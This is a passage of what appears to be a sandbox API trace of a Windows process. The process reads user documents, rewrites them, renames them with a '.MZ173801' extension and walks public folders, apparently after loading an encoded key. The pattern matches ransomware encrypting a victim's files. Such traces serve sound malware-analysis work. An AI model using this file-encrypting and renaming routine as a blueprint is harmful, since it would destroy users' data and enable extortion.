lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", lpUsedDefaultChar=0x0) returned 644 [0171.783] GetCurrentThreadId () returned 0xab4 [0171.783] GetCurrentThreadId () returned 0xab4 [0171.783] GetCurrentThreadId () returned 0xab4 [0171.783] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Documents\\_MPfsxTZe1i_HSj02G\\q3G nDiy4yr.csv" (normalized: "c:\\users\\fd1hvy\\documents\\_mpfsxtze1i_hsj02g\\q3g ndiy4yr.csv"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2f8 [0171.783] SetFilePointer (in: hFile=0x2f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x19f740*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19f740*=0) returned 0x0 [0171.783] SetFilePointer (in: hFile=0x2f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x19f738*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19f738*=0) returned 0x0 [0171.783] SetFilePointer (in: hFile=0x2f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x19f738*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19f738*=0) returned 0xc7df [0171.783] SetFilePointer (in: hFile=0x2f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x19f738*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19f738*=0) returned 0x0 [0171.784] ReadFile (in: hFile=0x2f8, lpBuffer=0x24a8f70, nNumberOfBytesToRead=0xc7df, lpNumberOfBytesRead=0x19f74c, lpOverlapped=0x0 | out: lpBuffer=0x24a8f70*, lpNumberOfBytesRead=0x19f74c*=0xc7df, lpOverlapped=0x0) returned 1 [0171.785] CloseHandle (hObject=0x2f8) returned 1 [0171.785] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Documents\\_MPfsxTZe1i_HSj02G\\q3G nDiy4yr.csv" (normalized: "c:\\users\\fd1hvy\\documents\\_mpfsxtze1i_hsj02g\\q3g ndiy4yr.csv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2f8 [0171.787] WriteFile (in: hFile=0x2f8, lpBuffer=0x24b6fa0*, nNumberOfBytesToWrite=0xc7df, lpNumberOfBytesWritten=0x19f758, lpOverlapped=0x0 | out: lpBuffer=0x24b6fa0*, lpNumberOfBytesWritten=0x19f758*=0xc7df, lpOverlapped=0x0) returned 1 [0171.788] CloseHandle (hObject=0x2f8) returned 1 [0171.788] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Documents\\_MPfsxTZe1i_HSj02G\\q3G nDiy4yr.csv" (normalized: "c:\\users\\fd1hvy\\documents\\_mpfsxtze1i_hsj02g\\q3g ndiy4yr.csv"), lpNewFileName="C:\\Users\\FD1HVy\\Documents\\_MPfsxTZe1i_HSj02G\\q3G nDiy4yr.csv.MZ173801" (normalized: "c:\\users\\fd1hvy\\documents\\_mpfsxtze1i_hsj02g\\q3g ndiy4yr.csv.mz173801")) returned 1 [0171.789] GetCurrentThreadId () returned 0xab4 [0171.789] GetCurrentThreadId () returned 0xab4 [0171.789] GetCurrentThreadId () returned 0xab4 [0171.789] GetCurrentThreadId () returned 0xab4 [0171.789] GetCurrentThreadId () returned 0xab4 [0171.789] GetCurrentThreadId () returned 0xab4 [0171.789] FindNextFileW (in: hFindFile=0xa1b9a0, lpFindFileData=0x19f884 | out: lpFindFileData=0x19f884*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd7d47670, ftCreationTime.dwHighDateTime=0x1d5e34d, ftLastAccessTime.dwLowDateTime=0x2277eb0, ftLastAccessTime.dwHighDateTime=0x1d5ebad, ftLastWriteTime.dwLowDateTime=0x2277eb0, ftLastWriteTime.dwHighDateTime=0x1d5ebad, nFileSizeHigh=0x0, nFileSizeLow=0x17d75, dwReserved0=0x0, dwReserved1=0x19f8e4, cFileName="w0M2LL9NBbuLZIA.odp", cAlternateFileName="W0M2LL~1.ODP")) returned 1 [0171.789] FileTimeToLocalFileTime (in: lpFileTime=0x19f898, lpLocalFileTime=0x19f7f8 | out: lpLocalFileTime=0x19f7f8) returned 1 [0171.789] FileTimeToDosDateTime (in: lpFileTime=0x19f7f8, lpFatDate=0x19f866, lpFatTime=0x19f864 | out: lpFatDate=0x19f866, lpFatTime=0x19f864) returned 1 [0171.789] FindNextFileW (in: hFindFile=0xa1b9a0, lpFindFileData=0x19f884 | out: lpFindFileData=0x19f884*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd7d47670, ftCreationTime.dwHighDateTime=0x1d5e34d, ftLastAccessTime.dwLowDateTime=0x2277eb0, ftLastAccessTime.dwHighDateTime=0x1d5ebad, ftLastWriteTime.dwLowDateTime=0x2277eb0, ftLastWriteTime.dwHighDateTime=0x1d5ebad, nFileSizeHigh=0x0, nFileSizeLow=0x17d75, dwReserved0=0x0, dwReserved1=0x19f8e4, cFileName="w0M2LL9NBbuLZIA.odp", cAlternateFileName="W0M2LL~1.ODP")) returned 0 [0171.789] GetLastError () returned 0x12 [0171.789] FindClose (in: hFindFile=0xa1b9a0 | out: hFindFile=0xa1b9a0) returned 1 [0171.789] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\_MPfsxTZe1i_HSj02G\\*.*", lpFindFileData=0x19f884 | out: lpFindFileData=0x19f884*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ca4f300, ftCreationTime.dwHighDateTime=0x1d5e908, ftLastAccessTime.dwLowDateTime=0x9089138d, ftLastAccessTime.dwHighDateTime=0x1d61fff, ftLastWriteTime.dwLowDateTime=0x9089138d, ftLastWriteTime.dwHighDateTime=0x1d61fff, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x19f8e4, cFileName=".", cAlternateFileName="")) returned 0xa1b738 [0171.789] FileTimeToLocalFileTime (in: lpFileTime=0x19f898, lpLocalFileTime=0x19f7fc | out: lpLocalFileTime=0x19f7fc) returned 1 [0171.789] FileTimeToDosDateTime (in: lpFileTime=0x19f7fc, lpFatDate=0x19f866, lpFatTime=0x19f864 | out: lpFatDate=0x19f866, lpFatTime=0x19f864) returned 1 [0171.790] FindNextFileW (in: hFindFile=0xa1b738, lpFindFileData=0x19f884 | out: lpFindFileData=0x19f884*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ca4f300, ftCreationTime.dwHighDateTime=0x1d5e908, ftLastAccessTime.dwLowDateTime=0x9089138d, ftLastAccessTime.dwHighDateTime=0x1d61fff, ftLastWriteTime.dwLowDateTime=0x9089138d, ftLastWriteTime.dwHighDateTime=0x1d61fff, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x19f8e4, cFileName="..", cAlternateFileName="")) returned 1 [0171.790] FileTimeToLocalFileTime (in: lpFileTime=0x19f898, lpLocalFileTime=0x19f7f8 | out: lpLocalFileTime=0x19f7f8) returned 1 [0171.790] FileTimeToDosDateTime (in: lpFileTime=0x19f7f8, lpFatDate=0x19f866, lpFatTime=0x19f864 | out: lpFatDate=0x19f866, lpFatTime=0x19f864) returned 1 [0171.790] FindNextFileW (in: hFindFile=0xa1b738, lpFindFileData=0x19f884 | out: lpFindFileData=0x19f884*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4bfc1920, ftCreationTime.dwHighDateTime=0x1d5ec4c, ftLastAccessTime.dwLowDateTime=0xe7be9500, ftLastAccessTime.dwHighDateTime=0x1d5e7c8, ftLastWriteTime.dwLowDateTime=0x9086b0a1, ftLastWriteTime.dwHighDateTime=0x1d61fff, nFileSizeHigh=0x0, nFileSizeLow=0x13b5b, dwReserved0=0x0, dwReserved1=0x19f8e4, cFileName="--tntGBlNV6a.ppt.MZ173801", cAlternateFileName="--TNTG~1.MZ1")) returned 1 [0171.790] FileTimeToLocalFileTime (in: lpFileTime=0x19f898, lpLocalFileTime=0x19f7f8 | out: lpLocalFileTime=0x19f7f8) returned 1 [0171.790] FileTimeToDosDateTime (in: lpFileTime=0x19f7f8, lpFatDate=0x19f866, lpFatTime=0x19f864 | out: lpFatDate=0x19f866, lpFatTime=0x19f864) returned 1 [0171.790] FindNextFileW (in: hFindFile=0xa1b738, lpFindFileData=0x19f884 | out: lpFindFileData=0x19f884*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa4655a00, ftCreationTime.dwHighDateTime=0x1d5e7ff, ftLastAccessTime.dwLowDateTime=0x286bd1f0, ftLastAccessTime.dwHighDateTime=0x1d5e565, ftLastWriteTime.dwLowDateTime=0x286bd1f0, ftLastWriteTime.dwHighDateTime=0x1d5e565, nFileSizeHigh=0x0, nFileSizeLow=0xd41d, dwReserved0=0x0, dwReserved1=0x19f8e4, cFileName="BiCkmLzhNyPE.ots", cAlternateFileName="BICKML~1.OTS")) returned 1 [0171.790] FileTimeToLocalFileTime (in: lpFileTime=0x19f898, lpLocalFileTime=0x19f7f8 | out: lpLocalFileTime=0x19f7f8) returned 1 [0171.790] FileTimeToDosDateTime (in: lpFileTime=0x19f7f8, lpFatDate=0x19f866, lpFatTime=0x19f864 | out: lpFatDate=0x19f866, lpFatTime=0x19f864) returned 1 [0171.790] FindNextFileW (in: hFindFile=0xa1b738, lpFindFileData=0x19f884 | out: lpFindFileData=0x19f884*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd68b8720, ftCreationTime.dwHighDateTime=0x1d5e9ad, ftLastAccessTime.dwLowDateTime=0x73a79170, ftLastAccessTime.dwHighDateTime=0x1d5f110, ftLastWriteTime.dwLowDateTime=0x73a79170, ftLastWriteTime.dwHighDateTime=0x1d5f110, nFileSizeHigh=0x0, nFileSizeLow=0x959a, dwReserved0=0x0, dwReserved1=0x19f8e4, cFileName="Lzd mcxhAU96soSlLB.odt", cAlternateFileName="LZDMCX~1.ODT")) returned 1 [0171.790] FileTimeToLocalFileTime (in: lpFileTime=0x19f898, lpLocalFileTime=0x19f7f8 | out: lpLocalFileTime=0x19f7f8) returned 1 [0171.790] FileTimeToDosDateTime (in: lpFileTime=0x19f7f8, lpFatDate=0x19f866, lpFatTime=0x19f864 | out: lpFatDate=0x19f866, lpFatTime=0x19f864) returned 1 [0171.790] FindNextFileW (in: hFindFile=0xa1b738, lpFindFileData=0x19f884 | out: lpFindFileData=0x19f884*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf1b71050, ftCreationTime.dwHighDateTime=0x1d5e2d7, ftLastAccessTime.dwLowDateTime=0x1da12210, ftLastAccessTime.dwHighDateTime=0x1d5ea20, ftLastWriteTime.dwLowDateTime=0x9089138d, ftLastWriteTime.dwHighDateTime=0x1d61fff, nFileSizeHigh=0x0, nFileSizeLow=0xc7df, dwReserved0=0x0, dwReserved1=0x19f8e4, cFileName="q3G nDiy4yr.csv.MZ173801", cAlternateFileName="Q3GNDI~1.MZ1")) returned 1 [0171.790] FileTimeToLocalFileTime (in: lpFileTime=0x19f898, lpLocalFileTime=0x19f7f8 | out: lpLocalFileTime=0x19f7f8) returned 1 [0171.790] FileTimeToDosDateTime (in: lpFileTime=0x19f7f8, lpFatDate=0x19f866, lpFatTime=0x19f864 | out: lpFatDate=0x19f866, lpFatTime=0x19f864) returned 1 [0171.790] FindNextFileW (in: hFindFile=0xa1b738, lpFindFileData=0x19f884 | out: lpFindFileData=0x19f884*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd7d47670, ftCreationTime.dwHighDateTime=0x1d5e34d, ftLastAccessTime.dwLowDateTime=0x2277eb0, ftLastAccessTime.dwHighDateTime=0x1d5ebad, ftLastWriteTime.dwLowDateTime=0x2277eb0, ftLastWriteTime.dwHighDateTime=0x1d5ebad, nFileSizeHigh=0x0, nFileSizeLow=0x17d75, dwReserved0=0x0, dwReserved1=0x19f8e4, cFileName="w0M2LL9NBbuLZIA.odp", cAlternateFileName="W0M2LL~1.ODP")) returned 1 [0171.790] FileTimeToLocalFileTime (in: lpFileTime=0x19f898, lpLocalFileTime=0x19f7f8 | out: lpLocalFileTime=0x19f7f8) returned 1 [0171.790] FileTimeToDosDateTime (in: lpFileTime=0x19f7f8, lpFatDate=0x19f866, lpFatTime=0x19f864 | out: lpFatDate=0x19f866, lpFatTime=0x19f864) returned 1 [0171.790] FindNextFileW (in: hFindFile=0xa1b738, lpFindFileData=0x19f884 | out: lpFindFileData=0x19f884*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd7d47670, ftCreationTime.dwHighDateTime=0x1d5e34d, ftLastAccessTime.dwLowDateTime=0x2277eb0, ftLastAccessTime.dwHighDateTime=0x1d5ebad, ftLastWriteTime.dwLowDateTime=0x2277eb0, ftLastWriteTime.dwHighDateTime=0x1d5ebad, nFileSizeHigh=0x0, nFileSizeLow=0x17d75, dwReserved0=0x0, dwReserved1=0x19f8e4, cFileName="w0M2LL9NBbuLZIA.odp", cAlternateFileName="W0M2LL~1.ODP")) returned 0 [0171.790] GetLastError () returned 0x12 [0171.790] FindClose (in: hFindFile=0xa1b738 | out: hFindFile=0xa1b738) returned 1 [0171.790] FindNextFileW (in: hFindFile=0xa1b150, lpFindFileData=0x19fb50 | out: lpFindFileData=0x19fb50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ca4f300, ftCreationTime.dwHighDateTime=0x1d5e908, ftLastAccessTime.dwLowDateTime=0x6053d4a0, ftLastAccessTime.dwHighDateTime=0x1d5e169, ftLastWriteTime.dwLowDateTime=0x6053d4a0, ftLastWriteTime.dwHighDateTime=0x1d5e169, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="_MPfsxTZe1i_HSj02G", cAlternateFileName="_MPFSX~1")) returned 0 [0171.790] GetLastError () returned 0x12 [0171.790] FindClose (in: hFindFile=0xa1b150 | out: hFindFile=0xa1b150) returned 1 [0171.790] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x19fbb0, csidl=46, fCreate=0 | out: pszPath="C:\\Users\\Public\\Documents") returned 1 [0171.792] GetFileAttributesW (lpFileName="C:\\Users\\Public\\Documents" (normalized: "c:\\users\\public\\documents")) returned 0x11 [0171.792] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x19fbb0, csidl=46, fCreate=0 | out: pszPath="C:\\Users\\Public\\Documents") returned 1 [0171.792] FindFirstFileW (in: lpFileName="C:\\Users\\Public\\Documents\\*.*", lpFindFileData=0x19fb50 | out: lpFindFileData=0x19fb50*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xdc4d01, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xb1fb672c, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xb1fb672c, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x10d3395a, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xa1b150 [0172.337] FindNextFileW (in: hFindFile=0xa1b150, lpFindFileData=0x19fb50 | out: lpFindFileData=0x19fb50*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xdc4d01, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xb1fb672c, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xb1fb672c, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x10d3395a, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0172.339] FindNextFileW (in: hFindFile=0xa1b150, lpFindFileData=0x19fb50 | out: lpFindFileData=0x19fb50*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x1aa2f0c2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc5fb62ca, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0xc5fb62ca, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x116, dwReserved0=0x10d3395a, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0172.339] FileTimeToLocalFileTime (in: lpFileTime=0x19fb64, lpLocalFileTime=0x19fac8 | out: lpLocalFileTime=0x19fac8) returned 1 [0172.339] FileTimeToDosDateTime (in: lpFileTime=0x19fac8, lpFatDate=0x19fb32, lpFatTime=0x19fb30 | out: lpFatDate=0x19fb32, lpFatTime=0x19fb30) returned 1 [0172.339] FindNextFileW (in: hFindFile=0xa1b150, lpFindFileData=0x19fb50 | out: lpFindFileData=0x19fb50*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0xe99f01ae, ftCreationTime.dwHighDateTime=0x1d32708, ftLastAccessTime.dwLowDateTime=0xe99f01ae, ftLastAccessTime.dwHighDateTime=0x1d32708, ftLastWriteTime.dwLowDateTime=0xe99f01ae, ftLastWriteTime.dwHighDateTime=0x1d32708, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="My Music", cAlternateFileName="MYMUSI~1")) returned 1 [0172.340] FindNextFileW (in: hFindFile=0xa1b150, lpFindFileData=0x19fb50 | out: lpFindFileData=0x19fb50*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0xe99f01ae, ftCreationTime.dwHighDateTime=0x1d32708, ftLastAccessTime.dwLowDateTime=0xe99f01ae, ftLastAccessTime.dwHighDateTime=0x1d32708, ftLastWriteTime.dwLowDateTime=0xe99f01ae, ftLastWriteTime.dwHighDateTime=0x1d32708, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="My Pictures", cAlternateFileName="MYPICT~1")) returned 1 [0172.340] FindNextFileW (in: hFindFile=0xa1b150, lpFindFileData=0x19fb50 | out: lpFindFileData=0x19fb50*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0xe99f01ae, ftCreationTime.dwHighDateTime=0x1d32708, ftLastAccessTime.dwLowDateTime=0xe99f01ae, ftLastAccessTime.dwHighDateTime=0x1d32708, ftLastWriteTime.dwLowDateTime=0xe99f01ae, ftLastWriteTime.dwHighDateTime=0x1d32708, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="My Videos", cAlternateFileName="MYVIDE~1")) returned 1 [0172.340] FindNextFileW (in: hFindFile=0xa1b150, lpFindFileData=0x19fb50 | out: lpFindFileData=0x19fb50*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0xe99f01ae, ftCreationTime.dwHighDateTime=0x1d32708, ftLastAccessTime.dwLowDateTime=0xe99f01ae, ftLastAccessTime.dwHighDateTime=0x1d32708, ftLastWriteTime.dwLowDateTime=0xe99f01ae, ftLastWriteTime.dwHighDateTime=0x1d32708, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="My Videos", cAlternateFileName="MYVIDE~1")) returned 0 [0172.340] GetLastError () returned 0x12 [0172.341] FindClose (in: hFindFile=0xa1b150 | out: hFindFile=0xa1b150) returned 1 [0172.342] FindFirstFileW (in: lpFileName="C:\\Users\\Public\\Documents\\*.*", lpFindFileData=0x19fb50 | out: lpFindFileData=0x19fb50*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xdc4d01, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xb1fb672c, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xb1fb672c, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xa1b150 [0172.343] FileTimeToLocalFileTime (in: lpFileTime=0x19fb64, lpLocalFileTime=0x19fac8 | out: lpLocalFileTime=0x19fac8) returned 1 [0172.343] FileTimeToDosDateTime (in: lpFileTime=0x19fac8, lpFatDate=0x19fb32, lpFatTime=0x19fb30 | out: lpFatDate=0x19fb32, lpFatTime=0x19fb30) returned 1 [0172.343] FindNextFileW (in: hFindFile=0xa1b150, lpFindFileData=0x19fb50 | out: lpFindFileData=0x19fb50*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xdc4d01, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xb1fb672c, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xb1fb672c, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0172.343] FileTimeToLocalFileTime (in: lpFileTime=0x19fb64, lpLocalFileTime=0x19fac4 | out: lpLocalFileTime=0x19fac4) returned 1 [0172.343] FileTimeToDosDateTime (in: lpFileTime=0x19fac4, lpFatDate=0x19fb32, lpFatTime=0x19fb30 | out: lpFatDate=0x19fb32, lpFatTime=0x19fb30) returned 1 [0172.343] FindNextFileW (in: hFindFile=0xa1b150, lpFindFileData=0x19fb50 | out: lpFindFileData=0x19fb50*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x1aa2f0c2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc5fb62ca, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0xc5fb62ca, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x116, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0172.343] FindNextFileW (in: hFindFile=0xa1b150, lpFindFileData=0x19fb50 | out: lpFindFileData=0x19fb50*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0xe99f01ae, ftCreationTime.dwHighDateTime=0x1d32708, ftLastAccessTime.dwLowDateTime=0xe99f01ae, ftLastAccessTime.dwHighDateTime=0x1d32708, ftLastWriteTime.dwLowDateTime=0xe99f01ae, ftLastWriteTime.dwHighDateTime=0x1d32708, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="My Music", cAlternateFileName="MYMUSI~1")) returned 1 [0172.343] FindNextFileW (in: hFindFile=0xa1b150, lpFindFileData=0x19fb50 | out: lpFindFileData=0x19fb50*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0xe99f01ae, ftCreationTime.dwHighDateTime=0x1d32708, ftLastAccessTime.dwLowDateTime=0xe99f01ae, ftLastAccessTime.dwHighDateTime=0x1d32708, ftLastWriteTime.dwLowDateTime=0xe99f01ae, ftLastWriteTime.dwHighDateTime=0x1d32708, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="My Pictures", cAlternateFileName="MYPICT~1")) returned 1 [0172.343] FindNextFileW (in: hFindFile=0xa1b150, lpFindFileData=0x19fb50 | out: lpFindFileData=0x19fb50*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0xe99f01ae, ftCreationTime.dwHighDateTime=0x1d32708, ftLastAccessTime.dwLowDateTime=0xe99f01ae, ftLastAccessTime.dwHighDateTime=0x1d32708, ftLastWriteTime.dwLowDateTime=0xe99f01ae, ftLastWriteTime.dwHighDateTime=0x1d32708, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="My Videos", cAlternateFileName="MYVIDE~1")) returned 1 [0172.343] FindNextFileW (in: hFindFile=0xa1b150, lpFindFileData=0x19fb50 | out: lpFindFileData=0x19fb50*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0xe99f01ae, ftCreationTime.dwHighDateTime=0x1d32708, ftLastAccessTime.dwLowDateTime=0xe99f01ae, ftLastAccessTime.dwHighDateTime=0x1d32708, ftLastWriteTime.dwLowDateTime=0xe99f01ae, ftLastWriteTime.dwHighDateTime=0x1d32708, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="My Videos", cAlternateFileName="MYVIDE~1")) returned 0 [0172.343] GetLastError () returned 0x12 [0172.343] FindClose (in: hFindFile=0xa1b150 | out: hFindFile=0xa1b150) returned 1 [0172.344] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x19fbb0, csidl=55, fCreate=0 | out: pszPath="C:\\Users\\Public\\Videos") returned 1 [0172.345] GetFileAttributesW (lpFileName="C:\\Users\\Public\\Videos" (normalized: "c:\\users\\public\\videos")) returned 0x11 [0172.345] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x19fbb0, csidl=55, fCreate=0 | out: pszPath="C:\\Users\\Public\\Videos") returned 1 [0172.345] FindFirstFileW (in: lpFileName="C:\\Users\\Public\\Videos\\*.*", lpFindFileData=0x19fb50 | out: lpFindFileData=0x19fb50*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xdc4d01, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xd466eabf, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x3816851, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x10d3395a, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xa1b150 [0172.345] FindNextFileW (in: hFindFile=0xa1b150, lpFindFileData=0x19fb50 | out: lpFindFileData=0x19fb50*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xdc4d01, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xd466eabf, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x3816851, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x10d3395a, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0172.345] FindNextFileW (in: hFindFile=0xa1b150, lpFindFileData=0x19fb50 | out: lpFindFileData=0x19fb50*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x1aa2f0c2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc5fdc52c, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0xc5fdc52c, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x17c, dwReserved0=0x10d3395a, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0172.345] FileTimeToLocalFileTime (in: lpFileTime=0x19fb64, lpLocalFileTime=0x19fac8 | out: lpLocalFileTime=0x19fac8) returned 1 [0172.345] FileTimeToDosDateTime (in: lpFileTime=0x19fac8, lpFatDate=0x19fb32, lpFatTime=0x19fb30 | out: lpFatDate=0x19fb32, lpFatTime=0x19fb30) returned 1 [0172.345] FindNextFileW (in: hFindFile=0xa1b150, lpFindFileData=0x19fb50 | out: lpFindFileData=0x19fb50*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x1aa2f0c2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc5fdc52c, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0xc5fdc52c, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x17c, dwReserved0=0x10d3395a, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 0 [0172.345] GetLastError () returned 0x12 [0172.345] FindClose (in: hFindFile=0xa1b150 | out: hFindFile=0xa1b150) returned 1 [0172.345] FindFirstFileW (in: lpFileName="C:\\Users\\Public\\Videos\\*.*", lpFindFileData=0x19fb50 | out: lpFindFileData=0x19fb50*(dwFileAttributes=0x11, 